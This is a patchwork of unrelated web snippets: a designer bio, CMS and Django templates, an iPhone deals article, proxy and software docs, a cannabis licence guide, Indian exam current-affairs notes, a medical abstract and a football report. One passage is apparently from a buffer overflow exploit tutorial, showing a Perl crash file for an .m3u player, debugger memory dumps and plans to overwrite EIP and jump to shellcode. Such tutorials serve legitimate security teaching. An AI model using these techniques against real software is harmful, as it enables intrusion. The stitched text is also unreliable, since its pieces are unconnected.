I don't want to waste your time talking about my credentials, throwing around exaggerated job titles, or feeding you a line about how my past experiences and skill set align perfectly for your company.  I don't lose and I never quit, that's what seporates me from others.
Live for art & design. Love to travel, ski, and stay active. I spent the better part of my teens and twentys playing hockey and learning computer desgin. After hanging up the skates I now commit all my time to designing. I'v been lucky to work with great people, on fun projects. Thanks for takeing some time to look at my portfolio! please dont hesitate to contact me with comments or questions.


title = "Test" layout = "default" is_hidden = 0 == function onStart() { /** * It is imperative to use array notation for declaring variables * $this['myVar'] will pretty much make the functions in the PHP section * of an OctoberCMS file run amazingly. */ $this['posts'] = 'Lol'; $this['component'] = 'Heh'; $this['peanuts'] = 4; } ==


The best early Black Friday iPhone XS Max deals
The iPhone XS Max is a beast of a phone but the launch of the 11 Pro means tempting offers and price cuts are out there if you know where to look - and we've done that work for you. Here are the latest and best SIM-free & contract deals in the UK and the US, as the Black Friday offers start to appear
by Ashleigh MacroThe iPhone XS Max, along with its smaller XS sibling, is no longer sold by Apple - but that doesn't stop you from buying it from other vendors.
And of course, the XS Max hasn't turned into a bad phone overnight. Its 6.5in display, A12 Bionic chip, IP68 water-resistance and excellent camera will still serve you well. What's more, the arrival of the 11-series means fantastic XS Max deals are out there if you know where to look - and Macworld's tech experts have spent the time checking all the latest prices and contracts so you don't have to.
In this article, we bring you the best iPhone XS Max deals available, whether you want to buy one outright, SIM-free, or on contract, and whether you're in the UK, US or elsewhere. There are some tempting offers out there as the Black Friday 2019 discounts start to appear.
You can find out more about the device in our iPhone XS Max review. And if you'd prefer a smaller model, we have an iPhone XS deals roundup too.
iPhone XS Max price & availability
The Max is a premium phone and even a year on from launch you shouldn't expect it to be cheap. Still, it should cost significantly less than the £1,099/$1,099 the 64GB model cost in autumn 2018.
(The higher-storage models cost £1,249/$1,249 for 256GB and £1,449/$1,449 for 512GB at launch. Again, you shouldn't buy at anything like those prices now.)
iPhone XS Max SIM-free deals
There are plenty of places to look if you want to buy the iPhone XS Max SIM-free, and our price-comparison widget automatically gathers the latest deals from the leading retailers. Whether you're in the US or the UK, the tool will display the best prices for your region:
| Retailer | Price | Delivery | |
| Price comparison from over 24,000 stores worldwide View more prices |
Note: Our up-to-the-minute price-comparison tech isn't supported on Google AMP pages and can be erroneously blocked by some ad blockers. If you don't see a table above, please turn off your ad blocker and refresh the page (on desktop), or click here on mobile.
UK retailers
It's also worth checking the vendors listed below for a SIM-free deal on the XS Max.
US retailers
US retailers offer financing options too, where you can pay off the phone at a monthly rate over 24 to 30 months.
iPhone XS Max contract deals
There are also lots of options if you want to buy the iPhone XS Max on contract. The following comparison tool is tailored to show the latest and best contract deals in your region.


Next: Server statistics, Previous: HTTP tuning, Up: Network [Contents][Index]
In an ideal world, all machines would have perfect connectivity to the network at all times and servers would never crash. In the real world, it may be necessary to avoid hitting the network and have Polipo serve stale objects from its cache.
Setting proxyOffline
to true
prevents Polipo from
contacting remote servers, no matter what. This setting is suitable
when you have no network connection whatsoever.
If proxyOffline
is false, Polipo’s caching behaviour is
controlled by a number of variables documented in Tweaking validation.


Below is a step-by-step guide to applying for a non-medical cannabis retail store licence and selling cannabis
products.
1 Register the business
-
Applicants, other than Indigenous nations, will need to be registered in
B.C.
as
sole proprietors, partnerships or corporations
- Indigenous nation applicants may apply in their own right or as one of the legal entities above
-
All applicants must have a
Business Number
(9-digit
number issued by the Canada Revenue Agency)
2 Create a Business BCeID
-
Individuals, partnerships, corporations or Indigenous nations seeking to submit applications will need a
Business BCeID to log in
-
Each applicant will complete a one-time registration for Business BCeID. When the applicant has completed the
registration,
it will be possible to link other individuals to the applicant.
3Find a store location
4Submit an application
This application requires:
Applicants are advised to submit complete applications. Submitting an application which does not include
required
information or documentation may cause the application to stop being processed.
Applicants must apply for a separate licence for each store.
5 Get local government or Indigenous nation recommendation
-
If a proposed store is located in the area of a
local government or on
reserve, Nisga’a Land or treaty settlement land on an
Indigenous
nation
, the Liquor and Cannabis Regulation Branch (LCRB) must provide notice of the application to the local
government
or Indigenous nation
-
A local government or Indigenous nation that wishes to make a recommendation to the LCRB in response to a
notice
of application must gather the views of residents and must provide the recommendation to the LCRB
Local governments and Indigenous nations must provide a positive recommendation to the Liquor and Cannabis
Regulation Branch that a licence be issued before the LCRB may consider whether to issue a cannabis retail store
licence. The LCRB will not issue a licence without a positive recommendation from the local government or
Indigenous nation.
6 Approval in principle for a licence
If approval in principle is given, the applicant can:
- Secure ownership or a lease for the store.
-
Make sure the
terms and conditions of the licence are met
- Make changes to the store to match the description submitted with the application, including:
- Floor plan
- Exterior signage
7 Pass a store inspection
Effective July 2, 2020, before a store opens to the public, store operators should contact the LCRB to schedule an inspection. An inspection assures the store operator, and the Province, that the store is compliant with all relevant cannabis rules and regulations prior to opening.
More information can be found here.
8 Receive a licence
- Successful applicants will receive a licence after the Liquor and Cannabis Regulation Branch has confirmed that all licence requirements have been met, the inspection has been passed and the licensing fee has been received by government
- Licensees must display the licence in a prominent place in their store
- All licensees must pass a final inspection
9 Register to collect and remit the provincial sales tax (PST)
Provincial sales tax (PST) applies to cannabis products and accessories. You must register to collect and remit
PST. See
Register to Collect
PST
for more information. If you are already registered to collect PST, you
must
provide the Ministry of Finance
with your
cannabis retail store licence number.
10 Hire and train workers
-
All workers must be
security-verified by the Province before they
can work in a non-medical cannabis retail store. Local governments may have additional business licence
requirements regarding workers.
- More information about cannabis sales training will be available soon.
11 Order cannabis products
-
Before a licensee can order cannabis products, they must register with the
Liquor Distribution Branch. More information can be found
by
visiting the
Liquor Distribution Branch website
- Licensees can only sell products purchased from the Liquor Distribution Branch
- Licensees will need a licence number to place an order
12 Report your sales


We control EIP. So we can point EIP to somewhere else, to a place that contains our own code (shellcode). But where is this space, how can we put our shellcode in that location and how can we make EIP jump to that location ?
In order to crash the application, we have written 26094 A’s into memory, we have written a new value into the saved EIP field (ret), and we have written a bunch of C’s.
When the application crashes, take a look at the registers and dump all of them (d esp, d eax, d ebx, d ebp, …). If you can see your buffer (either the A’s or the C’s) in one of the registers, then you may be able to replace those with shellcode and jump to that location. In our example, We can see that ESP seems to point to our C’s (remember the output of d esp above), so ideally we would put our shellcode instead of the C’s and we tell EIP to go to the ESP address.
Despite the fact that we can see the C’s, we don’t know for sure that the first C (at address 000ff730, where ESP points at), is in fact the first C that we have put in our buffer.
We’ll change the perl script and feed a pattern of characters (I’ve taken 144 characters, but you could have taken more or taken less) instead of C’s :
Create the file, open it, let the application die and dump memory at location ESP :
0:000> d esp
000ff730 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47 DEFGHIJK2ABCDEFG
000ff740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b HIJK3ABCDEFGHIJK
000ff750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43 4ABCDEFGHIJK5ABC
000ff760 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47 DEFGHIJK6ABCDEFG
000ff770 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b HIJK7ABCDEFGHIJK
000ff780 38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43 8ABCDEFGHIJK9ABC
000ff790 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47 DEFGHIJKAABCDEFG
000ff7a0 48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b HIJKBABCDEFGHIJK
0:000> d
000ff7b0 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41 CABCDEFGHIJK.AAA
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ok, we can see 2 interesting things here :
- ESP starts at the 5th character of our pattern, and not the first character. You can find out why by looking at this forum post : /index.php/forum/writing-exploits/question-about-esp-in-tutorial-pt1
- After the pattern string, we see “A’s”. These A’s most likely belong to the first part of the buffer (26101 A’s), so we may also be able to put our shellcode in the first part of the buffer (before overwriting RET)…
But let’s not go that way yet. We’ll first add 4 characters in front of the pattern and do the test again. If all goes well, ESP should now point directly at the beginning of our pattern :
Let the application crash and look at esp again
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".

We now have
- control over EIP
- an area where we can write our code (at least 144 bytes large. If you do some more tests with longer patterns, you will see that you have even more space… plenty of space in fact)
- a register that directly points at our code, at address 0x000ff730
Now we need to
- build real shellcode
- tell EIP to jump to the address of the start of the shellcode. We can do this by overwriting EIP with 0x000ff730.
Let’s see
We’ll build a small test case : first 26094 A’s, then overwrite EIP with 000ff730, then put 25 NOP’s, then a break, and then more NOP’s.
If all goes well, EIP should jump 000ff730, which contains NOPs. The code should slide until the break.
The application died, but we expected a break instead of an access violation.
When we look at EIP, it points to 000ff730, and so does ESP.
When we dump ESP, we don’t see what we had expected.
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
eip=000ff730 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff71f:
000ff730 0000 add byte ptr [eax],al ds:0023:00000001=??
0:000> d esp
000ff730 00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00 00 ........XJ......
000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0.......AAAAAAAA
000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
So jumping directly to a memory address may not be a good solution after all. (000ff730 contains a null byte, which is a string terminator… so the A’s you are seeing are coming from the first part of the buffer… We never reached the point where we started writing our data after overwrite EIP…
Besides, using a memory address to jump to in an exploit would make the exploit very unreliable. After all, this memory address could be different in other OS versions, languages, etc…)
Long story short : we cannot just overwrite EIP with a direct memory address such as 000ff730. It’s not a good idea because it would not be reliable, and it’s not a good idea because it contains a null byte. We have to use another technique to achieve the same goal : make the application jump to our own provided code. Ideally, we should be able to reference a register (or an offset to a register), ESP in our case, and find a function that will jump to that register. Then we will try to overwrite EIP with the address of that function and it should be time for pancakes and icecream.


Tuberculosis and chronic hepatitis B virus infection in Africans and variation in the vitamin D receptor gene.
Abstract
The active metabolite of vitamin D, 1, 25 dihydroxyvitamin D3, is an important immunoregulatory hormone[ 1]. Its effects are exerted by interaction with the vitamin D receptor, which is present on human monocytes and activated T and B lymphocytes. Variation in the vitamin D receptor gene was typed in 2015 subjects from large case-control studies of three major infectious diseases: tuberculosis, malaria, and hepatitis B virus. Homozygotes for a polymorphism at codon 352 (genotype tt) were significantly underrepresented among those with tuberculosis (chi2=6.22, 1 df, P=.01) and persistent hepatitis B infection (chi2=6.25, 1 df, P=.01) but not in subjects with clinical malaria compared with the other genotypes. Therefore, this genetic variant, which predisposes to low bone mineral density in many populations, may confer resistance to certain infectious diseases.


{% extends 'base.html' %} {% load account %} {% block content %}
"The 6 God of Django" - Lebron James
"Really should have given him a job" - Epic
"Sexiest Man Alive, 2018" - Every girl
Ok
Decent
Yeah
+1s


Before Change
// first get the dataset
X, y, mapping = loader()
clf = linear_model.LogisticRegression()
// try each encoding method available
encoders = category_encoders.__all__
After Change
// first get the dataset
X, y, mapping = loader()
clf = linear_model.LogisticRegression(solver="lbfgs", multi_class="auto", max_iter=200, random_state=0)
// try each encoding method available, which works on multiclass problems
encoders = (set(category_encoders.__all__) - {"WOEEncoder"}) // WoE is currently only for binary targets


TABLE OF CONTENTS
A. GS1 Related GEOGRAPHY 1. NMDC planning to exploit beach sand in Krishna, Guntur B. GS2 Related POLITY 1. Set up centres for vulnerable victims under all High Courts: SC 2. Law panel wants more autonomy for tribunals 3. Devaluing high courts INTERNATIONAL AFFAIRS/BILATERAL RELATIONS 1. India ships wheat to Afghanistan via Chabahar 2. India, Russia conclude war games C. GS3 Related INTERNAL SECURITY AND DEFENSE RELATED DEVELOPMENTS 1. Army finalises plan to modernise weapons D. GS4 Related E. Prelims Fact F. UPSC Prelims Practice Questions G. UPSC Mains Practice Questions
1. NMDC planning to exploit beach sand in Krishna, Guntur
In news:
- The National Mineral Development Corporation (NMDC) is contemplating exploring minerals available along the coast of Krishna and Guntur districts.
- The Geological Survey of India has confirmed the presence of beach sand minerals —ilmenite, rutile, zircon, garnet and silliminate — on the coastline of the two districts and its feasibility is under study.
- In beach sand mining, the sand collected from the beach is dumped in the same area after extracting the minerals without leading to any adverse impact on the coast.
Basic Information:
National Mineral Development Corporation (NMDC):
- Incorporated in 1958 as a Government of India fully owned public enterprise. NMDC is under the administrative control of the Ministry of Steel, Government of India.
- Since inception involved in the exploration of wide range of minerals including iron ore, copper, rock phosphate, lime stone, dolomite, gypsum, bentonite, magnesite, diamond, tin, tungsten, graphite, beach sands etc.
- NMDC is India’s single largest iron ore producer, presently producing about 30 million tonnes of iron ore.
1. Set up centres for vulnerable victims under all High Courts: SC
Vulnerable witnesses deposition centres:
- Supreme Court observation: Vulnerable witnesses in criminal cases, often minor survivors of rape or victims of sex abuse, should testify without fear or intimidation in a conducive environment.
- Concerned at the trauma these victims of crime face in conventional courtrooms, the Supreme Court has ordered the setting up of at least two vulnerable witnesses deposition centres in the jurisdiction of every High Court across the country within the next three months.
- The order upholds the right of vulnerable witnesses to be protected while testifying in court and is in consonance with international norms in these matters.
The case of vulnerable victims:
- Vulnerable witnesses are often treated like any other witness of the State in a criminal trial.
- Victims often end up being ill-treated by the very system they had approached in the hope of justice.
- Delay and intimidating questions during trial in a hostile environment lead to fewer convictions.
Guidelines for Recording the Evidence of Vulnerable Witnesses in Criminal Matters:
- The Supreme Court suggested that other high courts should adopt the Delhi HC’s ‘Guidelines for Recording the Evidence of Vulnerable Witnesses in Criminal Matters,’ with required modifications.
- The Delhi HC’s guidelines are filtered from the best practices followed by other countries and the police and precedents of the apex court and high courts.
- The practices include a screen or some arrangement by which the victim does not see the body or face of the accused; reducing cross-examination questions to writing and handing them over to the judge to be put to the victim in a language that is clear and not embarrassing; and sufficient breaks for victims of child abuse or rape while testifying.
2. Law panel wants more autonomy for tribunals
Context:
- Highlights of the report titled ‘Assessment of Statutory Frameworks of Tribunals in India’, submitted to the Law Ministry, by the Law Commission of India.
Law commission of India recommendations:
- Key Fact: the disposal rate of the tribunals in comparison to the filing of cases per year had been remarkable — 94% — the pendency remains high.
- Appointments to tribunals and their functioning should remain independent of the executive’s influence
- A Committee led by the Chief Justice of India should be in charge of the appointments of Chairman, Vice-Chairman and Judicial Members of the various central tribunals, which form a pillar of the country’s justice delivery system.
- Every order emanating from the tribunal or its appellate forum, wherever it exists, attains finality
- Reappointment of chairman and others compromises the independence and fairness of the tribunal.
- The Commission has suggested a common nodal agency, possibly under the Law Ministry, to both monitor the working of the tribunals and to ensure uniformity in the appointment, tenure and service conditions for the Chairman, Vice-Chairman and members.
- Present context: As of now, tribunals function under the very government department which may be a litigant before them, and probably, against which they may have to pass orders.
HC power to review
- In a marked departure from its earlier stand, the Commission recommended the restoration of the High Courts’ power of judicial review over the decisions of the tribunals.
- It said parties should be allowed to challenge a tribunal order before the Division Bench of the high court having territorial jurisdiction over the tribunal or its appellate forum.
- Present Context: Presently, parties are deprived of an opportunity to move high courts concerned against the orders of some tribunals and have to move the Supreme Court directly.
Location of the Tribunal:
- The Commission said tribunals must have benches in different parts of the country so that people of every geographical area may have easy access to justice
- Ideally, the benches of the tribunals should be located at all places where the high courts situate. In the event of exclusion of jurisdiction of all courts, it is essential to provide for an equally effective alternative mechanism even at grass root level. This could be ensured by providing State- level sittings looking to the quantum of work of a particular tribunal. Once that is done, the access to justice will stand ensured.
Context:
- The interference in the power of High Courts by tribunals.
High courts:
- For the framers of our Constitution, high courts, occupied a central position
- They were conceived as a forum for adjudicating disputes under the Constitution, Central and State statutes before they moved to the Supreme Court
- HC’s jurisdiction was more extensive than the SC’s
- Parliament has inflicted damage on high courts with rampant tribunalisation
- Tribunals have replaced high courts for disputes under the Companies Act, Competition Act, SEBI Act, Electricity Act, Consumer Protection Act among others
- Any person aggrieved by an order of an appellate tribunal can directly appeal to the SC, side-stepping the high court
- Three main issues related to rampant Tribunalisation
First:
- These tribunals do not enjoy the same constitutional protection as high courts
- The appointment process and service conditions of high court judges are not under the control of the executive
- The enormous institutional investment to protect the independence of high courts is dispensed with when it comes to tribunals
- Many tribunals still owe allegiance to their parent ministries
- Tribunals are also not as accessible as high courts
- For example, there are just four benches of the Green Tribunal for the whole country
- In comparison, high courts were easily accessible for environmental matters
Second:
- Conferring a direct right of appeal to the Supreme Court from tribunals has changed the Supreme Court from being a constitutional court to a mere appellate court
- It has become a final clearing house for every appeal under every statute
- The Supreme Court should be a court of last resort deciding cases of the moment, and not a final forum with an all-embracing jurisdiction over disputes ranging from a custody battle to the scope of a municipal by-law
- If high courts were to exercise appellate jurisdiction over orders of tribunals, they would act as filters
- Enabling the Supreme Court to confine itself to those substantial questions where there is divergence among high courts
Third:
- The high courts are the training grounds for future SC judges
- When high court judges deal with several cases under a particular area of law, they carry with them the benefit of their experience and insights to the SC
- When high courts are side-stepped in favour of tribunals, Supreme Court judges hearing appeals from tribunals would have to deal with the finer nuances of disputes under specialised areas of law for the very first time
- This is not ideal for a court of last resort
Original jurisdiction of the SC
- The jurisdiction of high courts is also undermined by the SC when it directly entertains various writ petitions
- When the Supreme Court exercises original jurisdiction, it deprives the citizen and the state of the right to challenge potentially erroneous orders
- A classic instance is the Supreme Court’s ruling in the 2G case
- To overcome this ruling, the President had to invoke the advisory jurisdiction of the SC
- The ordinary citizen enjoys no such privilege
- This difficulty becomes even more acute when the SC takes on a legislative role by framing guidelines in the larger public interest
- Neither the individual nor the state has an effective remedy to challenge these norms
The way forward
- It has been asserted that when the Supreme Court decides an issue, it avoids conflicting judgments of the high court
- This is untrue. The SC is in a better position to resolve a dispute when it is confronted with two conflicting high court rulings on the same issue
- If high courts lose their prominence, India’s justice delivery system will be the principal loser
Category: INTERNATIONAL AFFAIRS/BILATERAL RELATIONS
1. India ships wheat to Afghanistan via Chabahar
In news:
- India began shipment of wheat to Afghanistan through the Iranian port of Chabahar.
- A press release from the Ministry of External Affairs (MEA) noted that the consignment would be the first to use the new route via Chabahar to access Afghanistan.
- The transfer was part of India’s commitment to send 1 million tonnes of wheat to Afghanistan on grant basis.
- The move is significant as it indicates India remains firm in delivering on its regional commitment through partnership with Iran, despite Tehran’s ongoing tension with the United States.
Chabahar port:
- Operationalisation of the Chabahar port is an alternative, reliable and robust connectivity for Afghanistan.
- Operationalisation will open up new opportunities for trade and transit from and to Afghanistan and enhance trade and commerce between the three countries (India, Iran and Afghanistan) and the wider region
Earlier instances:
- India had earlier sent goods through the Iranian port of Bandar Abbas in 2003 as Pakistan had not eased land access to Afghanistan.
India & Afghanistan:
- India to continue its support for reconstruction, capacity-building and socio-economic development of Afghanistan under the framework of the New Development Partnership.
Basic Information:
TRILATERAL AGREEMENT FOR TRANSPORT AND TRANSIT CORRIDOR: During the visit of Prime Minister to Iran in May 2016, India, Iran and Afghanistan signed a Trilateral Agreement to establish an International Transport and Transit Corridor through the Chabahar port.
Category: INTERNAL SECURITY AND DEFENSE RELATED DEVELOPMENTS
1. Army finalises plan to modernise weapons
Context:
- Modernization of weapons.
In news:
- The Army has finalised one of its biggest procurement plans for infantry modernisation under which a large number of light machine guns (LMGs), battle carbines and assault rifles are being purchased at a cost of nearly ₹40,000 crore to replace its ageing and obsolete weapons.
- Security threats: The world’s second largest standing Army has been pressing for fast-tracking the procurement of various weapons systems considering the evolving security threats.
- The Army has also finalised the specifications for a new 7.62 mm assault rifle. and the Defence Acquisition Council (DAC), the defence ministry’s highest decision making body on procurement, is expected to give the go-ahead for the much needed procurement soon.
Nothing here for Today!!!
|
Nothing here for Today!!! |
F. Practice Questions for UPSC Prelims Exam
Question 1. Consider the following statements.
- India is the third highest contributor to UN peacekeeping missions.
- India is having the world’s second largest standing Army.
Choose the correct statements from the options given below.
- 1 only
- 2 only
- Both 1 and 2
- Neither 1 nor 2
See
Question 2. Chabahar port often seen in news, is in which country?
- Pakistan
- Iran
- Afghanistan
- Iraq
See
Question 3. Consider the following statements.
- Chabahar port will be India’s primary gateway to access central Asia and Afghanistan.
- India had earlier sent goods through the Iranian port of Bandar Abbas in 2003 as Pakistan had not eased land access to Afghanistan.
Choose the correct statements from the options given below.
- 1 only
- 2 only
- Both 1 and 2
- Neither 1 nor 2
See
Question 4. Consider the following statements.
- National Mineral Development Corporation (NMDC) is under administrative control of Ministry of Corporate affairs.
- NMDC is India’s single largest iron ore producer.
Choose the correct statements from the options given below.
- 1 only
- 2 only
- Both 1 and 2
- Neither 1 nor 2
See
Question 5. Recently Law commission of India published a report titled
'Assessment of Statutory Frameworks of Tribunals in India'. In this report
it has recommended for
- A Committee led by the Prime Minister to be in charge of the appointments of Chairman, Vice-Chairman and Judicial Members of the various central tribunals.
- The restoration of the High Courts’ power of judicial review over the decisions of the tribunals.
Choose the correct statements from the options given below.
- 1 only
- 2 only
- Both 1 and 2
- Neither 1 nor 2
See
G. UPSC Mains Practice Questions
GS Paper I
- Early Buddhist Stupa-art, while depicting folk motifs and narratives, successfully expounds Buddhist ideals. Elucidate.
GS Paper II
- With a brief background of quality of urban life in India, introduce the objectives and strategy of the ‘Smart City Programme’.
Also, check previous Daily News Analysis
“Proper Current Affairs preparation is the key to success in the UPSC- Civil Services Examination. We have now launched a comprehensive ‘Current Affairs Webinar’. Limited seats available. Click here to Know More.”
Enroll for India’s Largest All-India Test Series


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RESCUE.ME
The Super Hero Request System
We Will Save You.
Done.
Hang Tight, a Super Hero is on the way!


Wifi Networks
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VPN Status:
Console


KDTREE Find closest points using a k-D tree. CP = KDTREE( REFERENCE, MODEL ) finds the closest points in REFERENCE for each point in MODEL. The search is performed in an efficient manner by building a k-D tree from the datapoints in REFERENCE, and querying the tree for each datapoint in MODEL. Input : REFERENCE is an NxD matrix, where each row is a D-dimensional point. MODEL is an MxD matrix, where each row is a D-dimensional query point. Output: CP is the same dimension as MODEL. There is a one-to-one relationship between the rows of MODEL and the rows of CP. The i-th row (point) of CP is a row (point) from REFERENCE which is closest to the i-th row (point) of MODEL. The "closest" metric is defined as the D-dimensional Euclidean (2-norm) distance. [CP, DIST] = KDTREE( ... ) returns the distances between each row of MODEL and its closest point match from the k-D tree in the vector DIST. DIST(i) corresponds to the i-th row (point) of MODEL. The default behavior of the function is that the k-D tree is destroyed when the function returns. If you would like to save the k-D tree in memory for use at a later time for additional queries on the same REFERENCE data, then call the function with an additional output: [CP, DIST, ROOT] = KDTREE(REFERENCE, MODEL) where ROOT receives a pointer to the root of the k-D tree. Subsequently, use the following call to pass the k-D tree back into the mex function: [CP, DIST, ROOT] = KDTREE([], MODEL, ROOT) Note that ROOT is again an output, preventing the tree from being removed from memory. Ultimately, to clear the k-D tree from memory, pass ROOT as input, but do not receive it as output: KDTREE([], [], ROOT) New since June 2004: This k-D tree library now handles points with dimension greater than 3. See also KDTREEIDX and KDRANGEQUERY. Written by / send comments or suggestions to : Guy Shechter guy at jhu dot edu June 2004
0001 % 0002 % KDTREE Find closest points using a k-D tree. 0003 % 0004 % CP = KDTREE( REFERENCE, MODEL ) finds the closest points in 0005 % REFERENCE for each point in MODEL. The search is performed in an 0006 % efficient manner by building a k-D tree from the datapoints in 0007 % REFERENCE, and querying the tree for each datapoint in 0008 % MODEL. 0009 % 0010 % Input : 0011 % REFERENCE is an NxD matrix, where each row is a D-dimensional 0012 % point. MODEL is an MxD matrix, where each row is a D-dimensional 0013 % query point. 0014 % 0015 % Output: 0016 % CP is the same dimension as MODEL. There is a one-to-one 0017 % relationship between the rows of MODEL and the rows of CP. The 0018 % i-th row (point) of CP is a row (point) from REFERENCE which 0019 % is closest to the i-th row (point) of MODEL. The "closest" 0020 % metric is defined as the D-dimensional Euclidean (2-norm) 0021 % distance. 0022 % 0023 % 0024 % [CP, DIST] = KDTREE( ... ) returns the distances between 0025 % each row of MODEL and its closest point match from the k-D tree 0026 % in the vector DIST. DIST(i) corresponds to the i-th row (point) 0027 % of MODEL. 0028 % 0029 % The default behavior of the function is that the k-D tree is 0030 % destroyed when the function returns. If you would like to save 0031 % the k-D tree in memory for use at a later time for additional 0032 % queries on the same REFERENCE data, then call the function with 0033 % an additional output: 0034 % 0035 % [CP, DIST, ROOT] = KDTREE(REFERENCE, MODEL) where ROOT 0036 % receives a pointer to the root of the k-D tree. 0037 % 0038 % Subsequently, use the following call to pass the k-D tree back 0039 % into the mex function: 0040 % 0041 % [CP, DIST, ROOT] = KDTREE([], MODEL, ROOT) 0042 % 0043 % Note that ROOT is again an output, preventing the tree from 0044 % being removed from memory. 0045 % 0046 % Ultimately, to clear the k-D tree from memory, pass ROOT as 0047 % input, but do not receive it as output: 0048 % 0049 % KDTREE([], [], ROOT) 0050 % 0051 % New since June 2004: This k-D tree library now handles points 0052 % with dimension greater than 3. 0053 % 0054 % See also KDTREEIDX and KDRANGEQUERY. 0055 % 0056 % Written by / send comments or suggestions to : 0057 % Guy Shechter 0058 % guy at jhu dot edu 0059 % June 2004 0060 %


On 19 April 2017, 16 new articles were published in 12 journals.
Sexual Offenders, Violent Offenders, and Community Reentry: Challenges and Treatment Considerations
Opioid Use Disorders and Offending Patterns Among Local Jail Inmates
A Local and Universal Criminology of Modernity: A Response to Comments on America’s Safest City
Taking Deterrence Seriously: the Wide-Scope Deterrence Theory of Punishment
Punishment and Autonomous Shame in Confucian Thought
Book Review: Preventing Lethal Violence in New Orleans, A Great American City
Book Review: Children of the Prison Boom: Mass Incarceration and the Future of American Inequality
Book Review: Wrongful Convictions of Women: When Innocence Isn’t Enough
Marriage, In-Laws, and Crime: the Case of Delinquent Brothers-in-Law
Shadow People: A Counter Visual of Those Who Use Methamphetamine
An Evaluation of A Community-Oriented Policing Program in Taiwan
Mental Health Peer Navigators: Working With Criminal Justice–involved Populations


bbc1.core.key_exchange_manager module¶
Copyright (c) 2017 beyond-blockchain.org.
Licensed under the Apache License, Version 2.0 (the “License”); you may not use this file except in compliance with the License. You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
-
class
bbc1.core.key_exchange_manager.
KeyExchangeManager
(networking, domain_id, counter_node_id)[source]¶ Bases:
object
ECDH (Elliptic Curve Diffie-Hellman) key exchange manager
-
KEY_EXCHANGE_INVOKE_MAX_BACKOFF
= 6¶
-
KEY_EXCHANGE_RETRY_INTERVAL
= 5¶
-
KEY_OBSOLETE_TIMER
= 10¶
-
KEY_REFRESH_INTERVAL
= 604800¶
-
STATE_CONFIRMING
= 2¶
-
STATE_ESTABLISHED
= 3¶
-
STATE_NONE
= 0¶
-
STATE_REQUESTING
= 1¶
-
receive_exchange_request
(pubkey, nonce, random_val, hint)[source]¶ Procedure when receiving message with BBcNetwork.REQUEST_KEY_EXCHANGE
- Parameters
pubkey (bytes) – public key
nonce (bytes) – nonce value
random_val (bytes) – random value in calculating key
-


--- layout: newsstory title: SLIPPING AWAY match: Yeltz 2 Mangotsfield 0 - Rugby 0 Yeltz 0 ---
Unbeaten in 5 league games, but 3 draws and only 2 wins means our outside chance of getting that last play-off spot is just about extinguished. We're now 10 points behind Bedford and even if we win our last 7 games it's not looking likely we'll do it. Still it's good we're putting a good run together.
More worrying was the crowd on Saturday - 216 is the lowest on a Saturday for many many years. I'm not sure why it should drop off so steeply for this game, but hopefully it's a temporary blip. However in reality it's part of the general trend of dissatisfaction with the perceived performance and entertainment value on the pitch - however justified those criticisms are - and is very concerning.
We don't have a game Saturday, so the next game is on Tuesday when Tiverton are the the visitors to The Grove.


Introduction
What is Orbit.js?
Orbit is a framework for orchestrating access, transformation, and synchronization between data sources.
Orbit is written in Typescript and distributed on npm as packages containing a variety of module formats and ES language levels. Most Orbit packages are isomorphic—they can run in modern browsers as well as in the Node.js runtime.
Goals
Orbit was primarily designed to support the data needs of ambitious client-side web applications, including:
Optimistic and pessimistic UX patterns.
Pluggable sources that share common interfaces, to allow similar behavior on different devices.
Connection durability by queueing and retrying requests.
Application durability by persisting all transient state.
Warm caches of data available immediately on startup.
Client-first / serverless development.
Custom request coordination across multiple sources, allowing for priority and fallback plans.
Branching and merging of data caches.
Deterministic change tracking.
Undo / redo editing support.
Basic constraints
In order to meet these ambitious goals, Orbit embraces a set of basic constraints related to data sources and interactions between them.
Disparate sources
Any number of data sources of varying types and faculties may be required to build any given web application.
Disparate data
Sources of data vary widely in how they internally represent and access that data.
Compatible interfaces
Communication between sources must happen using a compatible set of interfaces.
Normalized data
Data that flows between sources must be normalized to a shared schema.
Notifications
Sources need a notification system through which changes can be observed. Changes in one source must be able to trigger changes in other sources.
Flow control
Data flow across sources must be configurable. Flows can be optimistic (successful regardless of their impact) or pessimistic (blocked until dependent changes have resolved).
Change tracking
Mutations, and not just the effects of mutations, must be trackable to allow changes to be logged, diff’d, sync’d, and even reverted.
Orbit primitives
Orbit’s core primitives were developed to align with the goals and constraints enumerated above.
Records
Records are used to represent data in a normalized form. Each record has a
type
and id
, which together establish its identity. Records may also include
other fields, such as attributes and relationships with other records.
Schema
A Schema
defines all the models in a given domain. Each Model
defines the
characteristics for records of a given type.
Source
Every source of data, from an in-memory store to an IndexedDB database to a REST
server, is represented as a Source
. Sources vary widely in their capabilities:
